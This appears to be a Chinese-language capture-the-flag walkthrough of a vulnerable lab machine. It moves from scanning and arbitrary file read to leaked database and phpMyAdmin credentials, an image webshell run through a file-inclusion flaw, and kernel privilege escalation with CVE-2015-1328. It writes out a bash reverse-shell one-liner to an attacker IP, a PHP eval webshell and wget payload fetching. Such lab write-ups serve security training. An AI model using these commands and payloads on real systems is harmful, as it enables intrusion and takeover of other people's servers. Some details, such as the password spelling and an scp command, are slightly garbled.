学习目的

- SQL注入
- 图片马上传
- 文件包含漏洞利用
- 反弹Shell
- 权限提升
靶机搭建
提取码:
e436
网络配置:选择默认的桥接方式即可!
主机发现
ip发现
nmap -sP 192.168.43.1/24
Nmap scan report for 192.168.43.127 Host is up. |
端口和服务识别
nmap -p- -A 192.168.43.127 -oN india_nmap.txt
- A :全服务的深度识别
- oN :输出到文本
漏洞挖掘
访问测试
发现提示:Show me your SQLI skills
,明显这个登录脚本存在SQL注入
,好吧开搞!
手工注入
万能密码跑起来:
admin 'or 'a'='a admin' or '1'='1 |
发现都不行啊,bie怪我了,上SQLMAP
SQLMAP
审计表单:
<form method="post"> <input type="text" name="un"> <input type="password" name="ps"> <input type="submit" name="login" value="let's login"> </form> |
不难看出,这里以POST
方式提交表单,其中用户名和密码的提交参数分别为un
和ps
SQLMAP跑起来:
sqlmap.py -u "http://192.168.43.127/" --data "un=admin&ps=admin&login=let%27s+login" --dbms=mysql --level 2
- 技巧:这里使用
%27
代替了let's
中的单引号,避免语句报错!
all tested parameters do not appear to be injectable
|
SQLMAP
也没跑出东西来,你是开玩笑吗,确定是线索SQL注入不是拿来忽悠我玩的?
换个思路,换个姿势,继续搞!
目录爆破
buster -u "http://192.168.43.127" -d=php.txt -t=5
200 OK-----http://192.168.43.127//add.php 200 OK-----http://192.168.43.127//index.php 200 OK-----http://192.168.43.127//head.php 200 OK-----http://192.168.43.127//test.php 200 OK-----http://192.168.43.127//show.php 200 OK-----http://192.168.43.127//phpmy 200 OK-----http://192.168.43.127//c.php 200 OK-----http://192.168.43.127//in.php 200 OK-----http://192.168.43.127//panel.php 200 OK-----http://192.168.43.127//phpmy/config.sample.inc.php |
任意文件读取
访问http://192.168.43.127/test.php
- 发现
test.php
可以传入file参数 - 使用burp劫持该流量包,并修改为post方式,修改请求路径,请求
/etc/passwd
- 方式1:通过BurpSuite重放修改包
- 直接截取
test.php
的GET包,尝试不成功 - 截取登录脚本的
POST
包,并修改/
为/test.php
,并且添加file=../../../../etc/passwd
,成功下载
- 直接截取
- 方式2:通过Mantra修改post参数
- 方式1:通过BurpSuite重放修改包
- 可以成功下载
/etc/passwd
root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
以同样方式,下载/etc/shadow
,但是里面内容为空,无法利用,暂时不谈。
数据库密码泄露
通过上面的任意文件读取漏洞下载c.php
,可以发现其中包含了数据库用户密码等敏感信息!
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); #数据库名:ica_lab #数据库用户:billu #数据库密码:b0x_billu |
mysql -h 192.168.43.127 -u billu -p Enter password: ********* ERROR 2003 (HY000): Can't connect to MySQL server on '192.168.43.127' (10061) |
虽然已经拿到了数据库的用户和密码,但是远程拒绝登录,暂时无法利用!
读取phpMyadmin
配置文件
phpmyadmin默认后台配置文件:config.inc.php
利用test.php
下载之:file=..%2f..%2f..%2fvar/www/phpmy/config.inc.php
<?php $cfg['Servers'][$i]['user'] = 'root'; $cfg['Servers'][$i]['password'] = 'roottoor'; |
直接发现root账户和密码:roottooroor
成功登录靶机:
打完收工?No,笔者又在网站层面发现了一个文件上传漏洞,同样可以Getshell,演述如下!
PhpMyadmin新建用户
访问链接:http://192.168.43.127/phpmy/
用户名:密码为billu:b0x_billu
在auth表中发现网站用户,并且新建用户:shavchen:password !
以刚才新建的shavchen
用户登陆后台!
上传图片马
发现上传点:
在后台发现上传头像的地方,欲上传一只图片马儿,嗷嗷
上传图片马:
图片马地址:http://192.168.43.127/uploaded_images/shavchen.jpg
文件包含漏洞点
通过test.php
下载pannel.php
if(isset($_POST['continue'])) { $dir=getcwd(); $choice=str_replace('./','',$_POST['load']); if($choice==='add') { include($dir.'/'.$choice.'.php'); die(); } if($choice==='show') { include($dir.'/'.$choice.'.php'); die(); } else { include($dir.'/'.$_POST['load']); } } |
代码审计:
很明显,这里的include函数之前没有做限制,因此我们可以自定义包含的文件,即包含之前上传的图片马儿!
panel.php即登陆后的面板处理脚本,我们使用BurpSuite抓包,修改其参数,以包含我们的图片马。
文件包含漏洞利用
原始数据包:
POST /panel.php HTTP/1.1 Host: 192.168.43.127 Content-Length: 27 Cache-Control: max-age=0 Origin: http://192.168.43.127 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.43.127/panel.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3 Connection: close load=show&continue=continue |
修改后数据包:
POST /panel.php?cmd=%20cat%20/etc/passwd;ls HTTP/1.1 Host: 192.168.43.127 Content-Length: 27 Cache-Control: max-age=0 Origin: http://192.168.43.127 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.43.127/panel.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3 Connection: close load=/uploaded_images/shavchen.jpg&continue=continue |
至此,成功利用图片马突破被控主机,下一步,反弹shell并进行相关提权操作!
Getshell
Bash反弹一句话
echo "bash -i>& /dev/tcp/192.168.43.114/4444 0>&1" | bash 使用URL编码: echo%20%22bash%20%2Di%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E43%2E114%2F4444%200%3E%261%22%20%7C%20bash |
获取标准Shell
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升
查看内核
www-data@indishell:/var/www$ uname -r uname -r 3.13.0-32-generic |
提权技巧
ubuntu 12.04 14.04 15.05 ---> CVE-2015-1328 centos redhat ---> 脏牛 |
提权操作
searchsploit ubuntu 12.04
cd /usr/share/exploitdb/exploit/linux/local
ls -l 37292.c
- 将.c文件上传到目标机器
gcc 37292.c -o exp
./exp
文件上传
1.菜刀上传
利用刚才的文件包含漏洞,向uploaded_images目录下写入一句话脚本,再使用菜刀连接之!
echo "<?php eval ($_POST['123456']);?>" >>caidao.php 编码后: echo%20%22%3C%3Fphp%20eval%20%28%24%5FPOST%5B%27123456%27%5D%29%3B%3F%3E%22%20%3E%3Ecaidao%2Ephp |
2.Wget上传
在Kali
上开启python
临时服务器,再在目标机上使用Wget
的命令下载之!
#Kali python -m SimpleHTTPServer #Target wget http://yourip:8000/filename |
3.Scp上传
#远程到本地 scp root@192.168.43.114:/tmp/exp.c /tmp/exp.c #本地到远程 ssh /tmp/exp.c root@192.168.43.114:/tmp/exp.c |
4.Terminal上传
直接使用Mobasterm终端连接工具,利用自带的SFTP模块上传文件!
总结
- 高线程的目录爆破或者爬虫会造成Apache服务器的异常
service apache2 restart
- root用户大部分时间无法直接登陆后台
- jpg文件被包含到php主文件里面,可以解析为php脚本。
- 图片马不可控,不一定会一次解析成功
原创文章,作者:小嵘源码,如若转载,请注明出处:https://www.lcpttec.com/asan/